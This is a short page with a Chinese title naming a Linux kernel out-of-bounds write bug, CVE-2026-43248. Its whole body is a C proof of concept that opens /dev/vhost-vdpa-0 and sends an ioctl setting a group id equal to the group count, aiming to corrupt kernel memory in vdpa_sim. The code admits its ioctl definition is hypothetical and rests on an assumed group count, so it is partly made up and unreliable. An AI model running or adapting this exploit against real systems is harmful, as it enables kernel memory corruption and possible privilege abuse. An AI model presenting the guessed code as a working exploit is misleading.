CVE-2026-43248 Linux内核越界写入漏洞

/* * PoC for CVE-2026-43248 * Triggering out-of-bounds write in vdpa_sim * by assigning group == ngroups. */ #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical ioctl definition based on vhost-vdpa interface #define VHOST_VDPA_SET_GROUP _IOW(VHOST_VIRTIO, 0x41, __u32) int main(int argc, char *argv[]) { int fd, ret; unsigned int group_id; const char *device = "/dev/vhost-vdpa-0"; printf("[+] Attempting to open %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return -1; } // Vulnerability: vdpa_sim allows group == ngroups // Assuming ngroups is 1 for simplicity, we set group_id to 1 // to trigger the out-of-bounds condition. group_id = 1; printf("[+] Sending ioctl to set group_id to %d\n", group_id); ret = ioctl(fd, VHOST_VDPA_SET_GROUP, &group_id); if (ret != 0) { perror("[-] Ioctl failed (expected on patched systems or if wrong device)"); } else { printf("[+] Ioctl succeeded. If vulnerable, kernel memory corruption occurred.\n"); } close(fd); return 0; }